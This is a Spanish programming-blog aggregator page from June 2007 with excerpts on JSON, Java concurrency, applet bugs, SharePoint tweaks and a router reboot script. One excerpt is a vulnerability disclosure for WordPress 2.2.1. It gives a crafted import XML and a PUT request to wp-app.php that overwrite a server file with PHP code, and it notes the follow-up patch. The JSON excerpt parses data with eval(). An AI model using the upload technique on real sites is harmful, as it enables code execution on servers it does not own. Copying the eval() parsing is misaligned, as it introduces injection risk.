Noticias Weblogs Foros Wiki Código
Sponsors:

Meta-Info

¿Que es?

Planeta Código es un agregador de weblogs sobre programación y desarrollo en castellano. Si eres lector te permite seguirlos de modo cómodo en esta misma página o mediante el fichero de subscripción.

rss subscripción

Sponsors

Anunciarse aquí

PlanetaCódigo en inglés

Puedes utilizar las siguientes imagenes para enlazar PlanetaCodigo:
planetacodigo

planetacodigo

Si tienes un weblog de programación y quieres ser añadido aquí, envíame un email solicitándolo.

Idea: Juanjo Navarro

Diseño: Albin

knocte :: MonoTema

I hate code folding

Junio 30th, 2007 - [Enlace local]

Me ha sorprendido que al darle a buscar la frase "I hate code folding" en Google no obtuviera ningún resultado. ¿Realmente soy la única persona en el mundo que odia el Code Folding? Pues nada, a partir de ahora Google sí devolverá un resultado: el de esta entrada. La cual se va a convertir en un manifiesto en contra de las regions. Realmente, ¿qué tiene de bueno poder agrupar una serie de

» Leer más, comentarios, etc...

Navegapolis

¿Para qué quiero la tele?

Junio 30th, 2007 - [Enlace local]

television¿Para qué quiero la tele?, con esto no me hace falta. Esto me decía hace un rato mi hija, mientras señalaba el monitor de su ordenador.

Estaba viendo un capítulo de una de sus series de animación favoritas, y se refería a Veoh , un sistema de distribución de vídeo basado en P2P que permite ver vídeo pantalla completa, a buena resolución, en un interfaz con look de Media Center. La red P2P Veoh no establece ninguna limitación a la duración del video, tamaño del archivo o ancho de banda en su transmisión, y a diferencia de Youtube, los vídeos se quedan en el ordenador.

Veoh es compatible con VobSub, programa gratuito para subtitular en tiempo real.

Supongo que la inercia tecnológica mantendrá durante algún tiempo una cierta cuota para la TV tradicional.

» Leer más, comentarios, etc...

niko's mini factory

Links for 2007-06-29 [del.icio.us]

Junio 30th, 2007 - [Enlace local]

» Leer más, comentarios, etc...

avemundi

el fester de novelda

Junio 30th, 2007 - [Enlace local]

Estos meses he estado haciendo la web de la Junta Central de Moros y Cristianos de Novelda. Surgió como un favor a uno de mis mejores amigos que es el Vicepresidente de la Junta y lo he pasado muy bien...

» Leer más, comentarios, etc...

Ingenieria de Software / Software Engineering

Revista de Business Intelligence

Junio 30th, 2007 - [Enlace local]

Patrocinado por TodoBI me llega la noticia de la nueva revista Gestión del rendimiento, revista española de la mano de Cognos que trata de temas de BI . Gracias a TodoBI.

» Leer más, comentarios, etc...

Una sinfonía en C#

Intro a JSON

Junio 29th, 2007 - [Enlace local]

Recuerdo la primera vez que alguien me habló de JSON fue nada menos que Francisco Rosales (el tipo que más sabe de flash sobre estas pampas) y era justamente para realizar una implementación en cierto lugar con AJAX (por aquellos días ASP.NET AJAX no existía ni siquiera como ATLAS).
Usábamos (usábamos digo pero era el que que sabía), usábamos



todo esto comunicado contra un backend .net 1.1 por medio de JSON

Todo esto viene a cuento para hablar de JSON. ¿Pero qué es JSON? vamos a la definción

JSON, acrónimo de "JavaScript Object Notation", es un formato ligero para el intercambio de datos. JSON es un subconjunto de la notación literal de objetos de Javascript pero no requiere el uso de XML.


O sea que permite definir objetos con lo cual se toma como alternativa a XML, de echo Google, Yahoo, y el mismo ASP.NET AJAX lo utilizan, bueno vamos a ver un ejemplo tomado de Wikipedia

{
"firstName": "John",
"lastName": "Smith",
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": 10021
},
"phoneNumbers": [
"212 732-1234",
"646 123-4567"
]

La ventaja con XML no radica en el tamaño ya que la misma estructura en XML tiene la misma cantidad de caracteres, la ventaja radica en que para recuperar el objeto "menu" con javascript hacemos esto:

menu = eval('(' + json_datos + ')');

Hacer lo mismo con XML sería un infierno, no por escribir el parser que lo hacemos una vez y listo, sino porque es más lento para procesar.

Por otro lado con XML + Schemma tenemos una riquísima precisión en los tipos de datos, cosa que en JSON se limita a ocho o nueve tipos de datos.

Nos queda el problema del lado del servidor, bueno, nosotros lo hicimos mitan con Nii y mitad a mano porque no había por aquel entonces implementaciones que cubriesen nuestras necesidades, hoy esto no es necesario.

» Leer más, comentarios, etc...

fetishcode

JDeveloper 10.1.3.3 Available

Junio 29th, 2007 - [Enlace local]

JDeveloper 10.1.3.3 (Build 4157) is now in production

JDeveloper 10.1.3.3 (Build 4157) ya ha salido a producción. Se puede descargar desde OTN.
Y como no podia ser de otra manera,la lista de bugs Aqui.

» Leer más, comentarios, etc...

Linked

Acampada ante los Apple Store

Junio 29th, 2007 - [Enlace local]

Bloggers, CEOs y en general medio mundo tecnológico acampa hoy ante las tiendas de Apple en EEUU. En el articulo de Techcrunch podéis ver a gente como Scoble, ¡su hijo!, Kevin Rose, el CEO de Zooomr Thomas Hawk, etc… que están ya apostados a la puerta del Apple Store cuando quedan unas 18 horas para la salida del iPhone. Incluso lo están retransmitiendo en video los de Zoomr.

» Leer más, comentarios, etc...

Pensamientos ágiles

Patrones de uso para volatile en Java

Junio 29th, 2007 - [Enlace local]

Brian Goetz gurú de la concurrencia en Java y autor del aclamado Java Concurrency in Practice ha publicado un excelente artículo en developerWorks titulado Managing volatibility en explica como funciona la palabra volatile en Java el que expone diferentes patrones para su uso.

Básicamente la diferencia entre volatile y utilizar synchronized es que volatile sólo te garantiza la visibilidad entre threads para esos atributos una vez que sus valores son modificados, mientras que synchronized te garantiza también la exclusión mutua. Utilizar volatile suele ser más barato a la hora de escribir que el adquirir locks pero plantea riesgos en cuanto a thread-safety que realmente hacen que sólo se utilice cuando realmente se sabe lo que se está haciendo. Ahí es donde Brian Goetz hace realmente un excepcional trabajo exponiendo varios patrones para su uso. Me permito resumirlos aquí:

» Leer más, comentarios, etc...

Buayacorp

Seguridad en Wordpress

Junio 28th, 2007 - [Enlace local]

Un par de enlaces relacionados a los problemas de seguridad de Wordpress:

» Leer más, comentarios, etc...

Ideas + Ingeniería del Software

Día filosófico: #1 “Soluciona los problemas, no los errores”

Junio 28th, 2007 - [Enlace local]

Los últimos días de trabajo han sido tan intensos como improductivos, con esa desagradable sensación de dejarse las neuronas desperdigafas en el camino de casa al ordenador, sin que nada avance. Como no puedo aportar gran cosa práctica (aparte del recién estrenado Google Desktop para Linux), hoy quiero sacar del tintero alguna reflexión que llevo madurando un tiempo.

Cuando al programar te encuentras con un fallo, puedes hacer dos cosas: solucionar el error, o solucionar el problema. La primera opción -y que he visto muchísimas veces, y que a veces se me escapa a mí también- lleva a cosas como bloques try .. catch que no hacen más que enmascarar errores, o casts o conversiones de código en la capa incorrecta (por ejemplo, cuando un valor incorrecto generar un error, parchear la línea en la que se produce en vez de la línea en la que se asigna, o el converter si hablamos de JSF). Perdemos el tiempo en un remedio que sólo soluciona un caso, en vez de arreglar lo que está mal.

Solucionar el problema implica hacer el esfuerzo de decodificar el mensaje de error y trazar la ejecución hasta localizar el punto del fallo. Implica conocer (aunque también es una buena forma de aprehender) y algo más de esfuerzo, pero resolverás no sólo el error detectado, sino muchos otros que vendrán después. Esto, que parece muy obvio, no siempre lo es. Hagamos examen de conciencia ;)

» Leer más, comentarios, etc...

Ideas + Ingeniería del Software

Google Desktop para GNU/Linux

Junio 28th, 2007 - [Enlace local]

Recientemente se ha publicado Google Desktop para GNU/Linux. Hace tiempo que lo uso en el trabajo (impagable cuando llegas a un sitio nuevo y no quieres molestar cada vez que necesitas un documento), y en casa lo echaba de menos.

Para instalarlo, puedes seguir la guía de comienzo. Si eres un afortunado usuario de Gentoo, puedes usar el ebuild para Google Desktop para Linux que ya hay en el bugzilla correspondiente (todavía no está en el árbol de Portage). Si, como yo, nunca has usado un fichero de ebuild para instalar nada, puedes seguir este sencillo HOWTO para ebuilds de terceros.

Ya no se dará la paradoja de que me cuesta más encontrar las cosas en mi ordenador que en Internet ;)

» Leer más, comentarios, etc...

Jorge Dieguez Blog

Ocultar elementos de navegación de SharePoint Services en páginas y formularios.

Junio 28th, 2007 - [Enlace local]

Estos días estuve preparando un sitio con encuestas para mi cliente. La gestión de encuestas en SharePoint es muy fácil y eso gusta mucho, sin embargo las páginas de las encuestas incluyen algunos elementos que pueden “despistar al usuario�(por ejemplo el menú Create o Documents and Lists).
28062007_1

 

Además el cliente no quería que el usuario navegue por las páginas del sitio, ni acceda a los resultados de la encuesta solo que conteste las preguntas.

A continuación describo un pequeño truco para resolver el inconveniente planteado. Creo que esta técnica es con alguna variación es aplicable en WSS3 y MOSS

Para el usuario final el acceso a la encuesta se realizara por medio de un enlace, el usuario final navegara a la página en la que se responde la encuesta(NewForm.aspx).

Vamos a aplicar el truco y modificar la pagina NewForm.aspx, para ello añada a la dirección URL de la página NewForm.aspx estos parámetros &ToolPaneView=2

Ejemplo:

- URL original
28062007_2

- URL manipulada
28062007_3

Al refrescar la pagina en la nueva URL aparece el panel de herramientas.
28062007_4

Ahora arrastramos el WebPart “Editor de contenido� y en el(editando código HTML):

- Colocamos JavaScript y estilos CSS para ocultar los elementos(los nombres de clases CSS y los Id’s de los elementos se pueden obtener con la herramienta IE Developer Toolbar)

- Colocamos elementos HTML decorativos (un texto, una imagen, etc.)

28062007_5

El JavaScript que use es este:

<style>
.ms-navframe {
  display: none;
}

.ms-titleareaframe {
  display: none;
}
.ms-bannerframe{
  display: none;
}
</style>

<script language="JavaScript">

document.getElementById('HBN100').style.visibility='hidden';
document.getElementById('onetidHeadbnnr0').style.visibility='hidden';
document.getElementById('onetidPortalConn').style.visibility='hidden';
document.getElementById('onettopnavbar1002-1').style.visibility='hidden';
document.getElementById('onettopnavbar1002-2').style.visibility='hidden';
document.getElementById('onettopnavbar1002-3').style.visibility='hidden';
document.getElementById('onettopnavbar1002-4').style.visibility='hidden';

</script>

El resultado es:  

28062007_6

El mismo metodo aplicamos a la pagina overview.aspx que es la que aparece cuando el usuario pulsa Save and Close.

» Leer más, comentarios, etc...

CODIGO.actionscript

Guía de Adobe AIR para desarrolladores JavaScript

Junio 28th, 2007 - [Enlace local]

Adobe Integrated Runtime (AIR) for JavaScript Developers Pocket Guide Ya podemos encontrar en Amazon la primera guía escrita sobre Adobe AIR. Está escrita por Mike Chambers, Daniel Dura y Kevin Hoyt. Este libro está en el mismo formato que el Apollo for Adobe Flex Developers Pocket Guide, guía que fué lanzada durante la beta, pero más [...]

» Leer más, comentarios, etc...

Linked

iPhone Reader

Junio 28th, 2007 - [Enlace local]

Parece que la gente de apple no para con el iPhone. Por lo visto están preparando un lector de RSS especifico para él. Y lo están protegiendo de tal manera que por lo visto no basta con poner el user-agent correcto para visualizarlo, porque el iPhoney tampoco es capaz de visualizarlo.

» Leer más, comentarios, etc...

MadeInFlex

Cuenta atrás para Adobe MAX!

Junio 28th, 2007 - [Enlace local]

Gracias a Marco Casario y FlexGala tenemos una cuenta atrás para Adobe MAX!


(Flash Player 9 Requerido)

Como muchos sabreis Adobe MAX es el evento del año para todo aquel interesado en el desarrollo con Adobe Flex y Adobe AIR. Este evento se realiza en EEUU, Japón y Europa.

Este año, España tiene el lujazo de ser la anfitriona para el evento de Europa. Nada más y nada menos que en Barcelona.

Iremos comentando más cosas al respecto de este importantisimo evento através de MadeInFlex y de la lista de correos. Mientras tanto podeis visitar la web oficial de Adobe MAX.

» Leer más, comentarios, etc...

Linked

Kevin Rose y su nueva aplicación: Pwonce

Junio 28th, 2007 - [Enlace local]

Uno de los grandes problemas con mayúsculas cuando formas parte de una miniempresa-µISV-startup es la cantidad de trabajo brutal que es canalizado a través de cada uno de sus miembros. Sacar la primera version de cualquier aplicación como cita Rands: “no te va a matar, pero lo intentará”. Copywriting, features, brainstorming, marketing, design, code, test, user experience, api development… la lista parece no acabar nunca.

Sin embargo existen ciertas personas que, son capaces de manejar la situación con soltura y, milagro de los milagros, incluso compatibilizarla con otros trabajos. Este es el caso de Kevin Rose - si el fundador de Digg, el mismo - que no contento con dirigir uno de los sites más influyentes en Internet, es fundador de otra startup, Revision3, yyyyyyyyyyy esta desarrollando una nueva aplicación llamada “Pownce” que es básicamente una red de intercambio web (ficheros, mensajes,eventos y links por ahora) que contará de manera opcional con una aplicación cliente desarrollada con Adobe Air.

El respeto que sentimos por estas personas en Linking Paths no surge tanto de las aplicaciones o la calidad técnica de las mismas (que obviamente la tienen) sino de la capacidad de organización que poseen para manejar este tipo de situaciones y canalizar tanto trabajo. Si montar una empresa y un producto es difícil hacerlo con 3 y que encima una de ellas sea punto de referencia para la mitad de los internautas del planeta es sencillamente impresionante. Quizás uno de los secretos para tener tanto éxito siendo pequeños (porque nos encanta ser pequeños) es saber rodearse de esas 2 o 3 fantásticas personas que solo con su motivación parecen capaces de hacer que el proyecto funcione. Este es el caso tanto de Revision3 como de Pownce.

En la pagina del Acerca de Pownce se puede ver que el equipo que ha desarrollado Pownce se reduce a 4 personas: el propio Kevin, Leah Culver al código, Daniel Burka a los pinceles digitales y Shawn Allen en el API y cliente de escritorio. En Linking Paths estamos convencidos de que pequeñas empresas como nosotros son capaces de realizar grandes cosas cuando realmente se ponen a ello.

Al menos ese es nuestro punto de vista. Y tú ¿que opinas?.

» Leer más, comentarios, etc...

Pensamientos ágiles

Sobre Applets, latencia y bugs

Junio 28th, 2007 - [Enlace local]

En todas las tecnologías hay bugs. Es natural, ya que se supone que errar es humano. Pero dentro de los bugs, tenemos bugs en minúsculas y BUGS en mayúsculas. Son estos últimos los que pueden echar al traste con el éxito de una tecnología.

La semana pasada me encontré cara a cara con uno de estos últimos. Uno de estos que le pueden sacar los colores a cualquier empresa y que te hacen preguntarte, ¿pero como demonios ha estado este bug sin resolver durante diez años? Porque hay bugs, como en este caso, que realmente influyen en una plataforma, y que silenciosamente pueden estar minando la adopción de la misma contribuyendo en gran parte a que no tenga el éxito que debería tener. Son bugs justo dentro del corazón de la arquitectura.

Pero voy al grano. Imaginaros un Applet. Como muchos sabéis, un Applet se ejecuta en el navegador del usuario. La primera vez que se ejecuta el navegador se descarga todos los recursos necesarios, para que en sucesivas ejecuciones del Applet ya no sea necesario realizar este paso, y sea como lanzar un programa local con el consecuente aumento de rendimiento.

Pero, ¿qué pasa cuando el Applet no encuentra un recurso? Es decir, por ejemplo si utilizamos reflection para cargar una clase con un simple Class.forName("org.foo.Sample"); o cuando buscamos un fichero de propiedades Class.getClassLoader.getResource("test.properties") . Pues en este caso el comportamiento del ClassLoader del Java Plugin (AppletClassLoader) es el siguiente:


El problema de este comportamiento, aparentemente normal y que huele a implementación inicial pensando en una carga perezosa de clases, es que cae en una de las falacias de la computación más habituales: asumir que la latencia es cero.

Alguno pensará, "bueno hombre, no es tan grave, total por un par de llamadas remotas que se hagan". El problema, es que no son un par. Swing (y esta es otra), por ejemplo, para todo JavaBean intentará cargar dinámicamente un objeto BeanInfo con el nombre del Bean. Así que por ejemplo si tienes un botón MyJButton, Swing intentará cargar MyJButtonBeanInfo cuando vaya a renderizar el botón. ¡Imaginaros esto para todos los componentes web de tu interfaz! Decenas, o cientos, de llamadas remotas destinadas a finalizar con un 404 porque no será capaz de encontrar esos recursos.

Lo realmente chocante en este bug es que ¿no se daba cuenta la gente de Sun que los Applets están pensados para Internet? Internet, señores, que no intranets. Que en Internet a lo mejor estás haciendo una demo a gente que está a decenas de miles de kilometros de ti y donde la latencia es más de 300 milisegundos en round-trip. Hagamos la cuenta fácil, 300 * 100 = 30 segundos desperdiciados en llamadas 404, y eso asumiendo una latencia bastante optimista. ¿Cómo se puede pretender que una tecnología tenga éxito si ya de antemano la diseñas para el fracaso?

Bueno, la buena noticia al final es que el bug está solucionado. La mala noticia es que lo han solucionado sólo en el JDK 6. Eso sí, en la página del bug podréis ver como afirman que se solucionó en el JDK 5. Pero va a ser que no, y eso que he probado con al menos tres revisiones. (4,6,11)

¿Y cómo se arregla el bug? Claro, porque resulta que en el bug report se han limitado a decir que está solucionado, pero no han hecho explícita la solución. Una idea muy brillante si tenemos en cuenta que estamos hablando de las clases del Java Plugin, que ni siquiera vienen incluidas en el código fuente del JDK cuando te lo descargas. Pues nada, que no me quedó otra que mirar dentro del OpenJDK y ver como lo habían solucionado. Es algo tan simple como añadir el siguiente parámetro al applet:

<param name="codebase_lookup" value="false"/>

¿Complicadísimo verdad? Pues aquí tenéis una de las razones por las que los Applets no han triunfado y que les ha llevado diez años corregir, y eso que mirando el código fuente del JDK estimaría que se trata de un cambio de unas 15 líneas más o menos echando por lo alto.

Pues nada, así está Java en el UI.

P.S. Una cosa que se me olvidaba comentar. Si os pica la curiosidad y queréis investigar el bug, la mejor forma de hacerlo es utilizar un capturador de tráfico web como Charles y un simulador de latencia como Shunra.

» Leer más, comentarios, etc...

Syntax Error

D-Link DSL-G624T: Script para autoreiniciar si se cuelga el ADSL

Junio 28th, 2007 - [Enlace local]

D-Link DSL-G624TPara conectarme a internet uso un router Wifi D-Link DSL-G624T regalado al contratar el ADSL con Ya.com. No es un mal router una vez configurado un poco, pero sufre algunos problemas para mantener la conexión a internet cuando se calienta en exceso o cuando la mula está encendida.

Sus cuelgues son curiosos, pues la Wireless sigue funcionando, pero la conexión a internet se cierra y el acceso al router por Web también. En cambio el acceso por telnet sigue operativo. Normalmente lo reseteo físicamente y en un par de minutos todo vuelve a la normalidad. El problema viene cuando no estoy en casa y no tengo acceso a él, con lo que no puedo restaurar la conexión a internet de la casa hasta que no vuelvo.

Chafardeando el router me encontré con que internamente funciona con un BusyBox pequeñito, que no deja de ser un mini-Linux con sus funcionalidades básicas

En este artículo explico cómo realizar un script en nuestro servidor casero que comprueba el aceso a internet, y si no lo hay, que acceda al router y lo reinicie.

En primer lugar debo dar las gracias a i compañero Alex, pues me enseñó la forma de automatizar la conexión al router por telnet y su reseteo para embedirlo en un script Bash.

El truco consiste en un par de scripts: uno que efectúa el reseteo del router y otro que controla la lógica del programa. De hecho, se podría confeccionar un sólo script que haga todo el trabajo pero me gusta tener el script de reseteo por separado por si lo uso atómicamente en otra tarea.

Empezando por el script de reseteo, consiste en una sucesión de instrucciones que abren un telnet y le printan en su consola las instrucciones que queremos, esperando unos segundos entre instrucción e instrución para darle tiempo al shell de darnos los prompts necesarios.

En primer lugar creamos un archivo llamado restart_router.sh dentro de nuestro directorio de nuestras utilidades del sistema (en mi caso en /server/utils):

$ touch /server/utils/restart_router.sh

y entonces lo abrimos para editarlo:

$ vim /server/utils/restart_router.sh

Una vez abierto escribimos lo siguiente:

(sleep 3; echo “admin”; sleep 3; echo “contrasenya_router”; sleep 3; echo “/sbin/reboot”; sleep 3; echo “exit”) | telnet 192.168.1.1

Vamos a explicarlo… En primer lugar vemos que al final de la línea hay un telnet 192.168.1.1. Ésta es la instrucción que nos conecta con el router. A ella le pasaremos seguidamente el usuario (porque lo primero que hace es preguntarnos el usuario), la contraseña, y justo después la instrucción a ejecutar, haciendo luego un exit para que cierre la conexión. La forma de automatizar el proceso es pasarle las instrucciones mediante el pipe al telnet, hacer un echo de las instrucciones a ejecutar (deben estar entre dobles comillas) y separar las instrucciones con una pausa para darle tiempo a sacar el prompt (de ahí el sleep de 3 segundos). Deberemos sustituir la dirección IP de aquí con la IP de nuestro router y “contrasenya_servidor” con la contraseña que usamos para entrar al router. Debemos asegurarnos que está todo en una misma línea y que los parámetros están todos entre un mismo paréntesis.

Una vez guardado el archivo, debemos darle permisos de ejecución al archivo con, por ejemplo:

$ chmod +x /server/utils/restart_router.sh

A continuación, vamos a por el segundo script. Éste debe decidir si hay acceso a internet o no. Para ello haremos ping a un host de internet (por ejemplo a Google) y capturaremos la salida. De la salida nos quedamos con el número del porcentaje de paquetes perdidos que será lo que usaremos para distinguir si hay internet o no. Así que primero de todo creamos el archivo:

$ touch /server/utils/adsl_keep_online.sh

Y lo abrimos para editarlo:

$ vim /server/utils/adsl_keep_online.sh

Allí escribimos la cabecera del intérprete de comandos:

#!/bin/bash

Y ejecutamos el ping seleccionando la parte que nos interesa (el número del porcentaje de paquetes perdidos) y lo almacenamos en una variable llamada result:

result=`ping -c 5 www.google.com | grep “packet loss” | awk ‘{printf (”%d”,$6)}’`

En primer lugar, notemos que no hay espacios antes y después del signo igual. Luego, toda la línea del comando (lo que va después del igual) va encerrado entre acentos abiertos sin carácter (dándole al acento y luego un espacio). No confundirlo con comilla simple! La instrución ping la ponemos con el parámetro -c 5, que significa que sólo enviará 5 paquetes (si no ponemos nada, va enviando paquetes hasta el infinito). La salida la dirigimos al grep para que seleccione la línea que contiene “packet loss” (encerrado entre comillas dobles). La salida de ésto la dirigimos al awk, que nos saque sólamente la columna 6, formateándolo en decimal para quitar el símbolo del porcentaje.

A continuación, miramos con un if si el resultado del ping es mayor al 50% en paquetes perdidos. Si es así ejecutamos nuestro primer script para reiniciar el router. Además, aprovecho la salida para redirigirla a un archivo log situado en /server/logs/adsl.log y dejar constancia así de las verificaciones que se lleban a cabo cada vez que se ejecuta el programa. El archivo queda finalmente así:

#!/bin/bash

result=`ping -c 5 www.google.com | grep “packet loss” | awk ‘{printf (”%d”,$6)}’`
if [ “$result” -gt “50″ ]; then
echo “`date` [KO]: $result% perdido. Rebotando Router” >> /server/logs/adsl.log
echo “————————————>>>>>>>>>>>>>” >> /server/logs/adsl.log
/home/utils/restart_router.sh >> /server/logs/adsl.log
echo “<<<<<<<<<<<<<------------------------------------" >> /server/logs/adsl.log
else
echo “`date` [OK]: $result% perdido” >> /server/logs/adsl.log
fi

Después de guardar debemos setar el archivo como ejecutable:

$ chmod +x /server/utils/adsl_keep_online.sh

Y ya por último queda por incluir este script en la lista de tareas a realizar periódicamente. Yo lo tengo ejecutando cada media hora. Así, debemos editar el archivo de cron:

$ crontab -e

Y añadir una línea de la siguiente forma:

0,30 * * * * /server/utils/adsl_keep_online.sh

Y ya lo tenemos funcionando. Ahora, cada media hora se va a ejecutar un ping de 5 paquetes. Si el resultado en paquetes perdidos es mayor que el 50% se reiniciará el router.

Los más sibaritas en sistemas me podrán decir que reiniciar el router entero por haber perdido la conexión a internet es demasiado bruto. Es verdad, pero aún no he hecho suficientes pruebas para encontrar cuál sería la mejor forma de llevar el objetivo a cabo. Si entramos por telnet al router y ejecutamos un ipconfig podremos ver que existe una interfície llamada ppp0 que es la relativa a el ADSL, pero reiniciar dicha interfície no solucionaría el cuelgue de la administración Web. Seguiré investigando.

Salud!

» Leer más, comentarios, etc...

Buayacorp

WordPress: Arbitrary File Upload - Parte 2

Junio 28th, 2007 - [Enlace local]

Como había comentado en la primera parte, la versión 2.2.1 de WordPress sólo arregla parte del problema reportado, esto se debe a que el parche utilizado sólo evita que se añada o actualice el valor de _wp_attached_file en la edición de entradas y páginas (ver la función add_meta en wp-admin/admin-functions.php).

Sin embargo, si esta vez utilizamos la funcionalidad para importar entradas desde otro blog con WordPress, podemos ingresar valores arbitrarios para _wp_attached_file. Por ejemplo el siguiente archivo XML está especialmente preparado para hacer eso:

xml:
<rss>
<channel>
	<item>
		<title>Exploit</title>
		<link>http://localhost/wp/?attachment_id=49</link>
		<pubDate>Sun, 24 Jun 2007 03:23:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		<wp:post_id>49</wp:post_id>
		<wp:post_name>exploit</wp:post_name>
		<wp:status>inherit</wp:status>
		<wp:post_type>attachment</wp:post_type>
		<wp:postmeta>
			<wp:meta_key>_wp_attached_file</wp:meta_key>
<wp:meta_value>/home/vulnerable.com/public_html/wp-content/uploads/test.php</wp:meta_value>
</wp:postmeta> <wp:postmeta> <wp:meta_key>_wp_attachment_metadata</wp:meta_key> <wp:meta_value>a:0:{}</wp:meta_value> </wp:postmeta> </item> </channel> </rss>

Una vez que se haya importado esa entrada, el proceso para sobrescribir el archivo es el mismo que en el anterior caso:

code:
PUT /wp/wp-app.php?action=/attachment/file/49 HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length
 
<?php echo "Hello World"; ?>

Se agregó otro parche para intentar solucionar este problema en wp-app.php, el cual valida el archivo que se va a leer (función get_file) o sobreescribir (función put_file).

» Leer más, comentarios, etc...

soft·in·spain

Algo ocurre con Weblogs

Junio 27th, 2007 - [Enlace local]

Entre otros muchos sitios leo algunos de los blogs que pertenecen a WeblogsSL, pero en lo que llevamos de día parece que algo ha ocurrido porque ninguna de sus webs responde.

Hace un tiempo cambiaron de proveedor de hosting, pasando de Ferca a NTT/Verio, se supone que para mejor, no se lo que ha ocurrido, por ello no me atrevo a valorar esta incidencia.

Pero vuelvo a una reflexión: La importancia de seleccionar correctamente los proveedores, o como dicen los americanos, y que me gusta más, los partners, porque en definitiva son socios de tú negocio, depositas en ellos parte de la infraestructura necesaria para funcionar la empresa. Evidentemente como humanos que somos estamos sujetos a equivocaciones, faltaría más.

Que le ocurra eso a una empresa como la mencionada, donde el 100% de su actividad depende de Internet, es como una empresa que se dedica a vender agua y se seca el manantial.

Si tuviésemos recursos interminables (o al menos suficientes) lo ideal sería tener nuestros sites distribuidos por varios datacenters, utilizando los servicios de empresas como Akamai que se encargan de minimizar, o prácticamente anular, los efectos de quedarnos sin webs.

Actualización 22:00: Ya vuelven a funcionar los blogs de WeblogsSL. (Desde las 19:00 he estado desconectado, no se realmente cuando han vuelto a estar on-line)

» Leer más, comentarios, etc...

Linked

Ventas combinadas y bundles en el mundo Mac

Junio 27th, 2007 - [Enlace local]

Ya hemos hablado en otras ocasiones de las ventas cruzadas que se suelen dar en el mundo Mac. Ahora TheMacPak presenta el que problablemente es uno de los bundles más baratos y apetitosos hasta la fecha:

3 great Mac apps. $5.00. Huge savings! Delivered by the 10th July or your money back! When we told developers that we wanted to sell 3 of their best apps, with a combined value of huge amounts of cash for just $5.00, we thought we would be laughed out of the room. But we were not. On one condition. We are not allowed to tell you what the applications are.

Ademas hacen una reseña a DevonTechnologies, ya que por lo visto el bundle incluirá alguno(s) de sus productos. Apuesto a que al menos uno de los invitados secretos es DEVONnote. Y todo ello por la friolera de … 3,714 € (o más exactamente y según mi nota de paypal para una tarjeta VISA 3,83 €). Así que ya sabéis … podéis tomaros una cerveza y un pincho de tortilla esta tarde … o apuntaros a la compra secreta de TheMacPak.

PS: Sacado del mail de confirmación de compra del bundle:

You will receive 1 email per bundle you buy so you will have an opportunity to gift one to a freind

» Leer más, comentarios, etc...

Yet Another Programming Weblog

El mejor código es el que no existe

Junio 27th, 2007 - [Enlace local]

Bueno, la frase es demoledora y como toda frase lapidaria, conviene matizarla. Pero contiene tanta sabiduría (pesimista o realista, tu eliges) que creo que debe convertirse en uno de los mantras a repetirse frecuentemente.

Me lo recordó hace unos días la entrada de Jeff Atwood, The Best Code is No Code At All, muy recomendable. Si, antes de codificar, de desplegar miles de millones de líneas de código hay que pensárselo muy bien. Codificar es divertido, es muy estimulante... Pero antes de empezar, antes de abrir siquiera el editor debería pasar por la cabeza, en alguna milésima de segundo, al menos alguna de estas preguntas:

Ya decía que conviene matizar: el programa vacío no hace nada y parece que es bueno que los programas hagan algo :) Se trata de un un recordatorio ¡Cuidado con el exceso de código! Creo que no hay aberración mayor que valorar la producción por líneas de código; es como si pagaran por bugs cometidos...

Jeff cita otro artículo en el que se exhorta a comenzar con código minimalista y completarlo a través de test. Es una buena idea, pero en estos tiempos de exaltación del Test-driven development conviene recordar también que los test no lo son todo, que pararse a pensar sigue siendo imprescindible.

En resumen serás esclavo de tu código, así que piénsatelo bien ;)

El mejor código es el que no existe, en barrapunto

» Leer más, comentarios, etc...

Una sinfonía en C#

DCE 2005 - FSX

Junio 27th, 2007 - [Enlace local]

Sigo esperando a ver cómo corno hago para encontrarme con mi copia de Flight Simulator que me gané (eso espero) cuando me hice de la cuarta estrella por Argentina

DCE2005dce

» Leer más, comentarios, etc...

Linked

Comienza la nueva Linking Paths

Junio 27th, 2007 - [Enlace local]

Hace casi 2 meses anunciaba que Linking Paths iba a suspender su actividad durante un tiempo. Las razones :

No hay nada de malo en impartir formación o en desarrollar proyectos para clientes, pero si que hay ciertas consecuencias en hacerlo. Como decía en el anterior articulo estos trabajos te introducen en una dinámica (desarrollo -> implantación -> soporte -> modificaciones -> desarrollo -> …) que se vuelve absorbente con mucha facilidad. Desde el comienzo de esta aventura que llamamos Linking Paths quedó claro que queríamos ser algo más que una pequeña empresa de proyectos, que queríamos controlar nuestra evolución como empresa.

Mientras todo esto ocurría, las ideas para realizar aplicaciones y servicios brotaban como champiñones en nuestras cabezas y cada vez nos costaba más ponerles la etiqueta de “Revisar en un año” y guardarlas en un cajón. O peor aun se quedaban en un coitus interruptus, que como todos, nos dejaba con un sabor agridulce.

Hace 2 meses la situación tocó fondo y tuvimos que plantearnos seriamente el destino de Linking Paths: aceptar que éramos una web development shop más y que era esa tarea en la que íbamos a concentrar todas nuestras fuerzas, o bien que queríamos algo más que sacar proyectos adelante (lo cual habíamos hecho con gran éxito) y que había que reiniciar el funcionamiento de la empresa.

La decisión ya la conocéis todos. Mucho antes de lo que hubiera podido imaginar hemos replanteado Linking Paths y dos cosas han emergido de las cenizas: Aitor García y nuestro 1.º producto. Aitor hablaba hace unas semanas sobre la coincidencia del final de su ciclo personal (después de 9 años en su antigua empresa) y el de Linking Paths y adelantaba su nueva colaboración en Linking Paths. Aitor se encargará a partir de ahora de la parte técnica, diseño y copywriting de las aplicaciones de Linking Paths, que van a tener su primer exponente en Tabula, una aplicación para gestionar el feedback de nuestros clientes, empleados, proveedores y amigos.

Como podéis observar otros cambios menores han ocurrido. Nuestro blog de empresa Día a día, ha sido rebautizado como Linked, para representar nuestra renovada intención por no caer en la marabunta del quehacer diario y para resaltar nuestro interés en construir nuevas relaciones con nuestros clientes, a través del blog y de nuestras aplicaciones. Todos los artículos de nuestro antiguo blog Vivir del Software han sido portados a Linked y la tesina final que salió de todo aquello ha sido también reagrupada para que la podáis leer online.

Sin más, comienza la nueva Linking Paths.

» Leer más, comentarios, etc...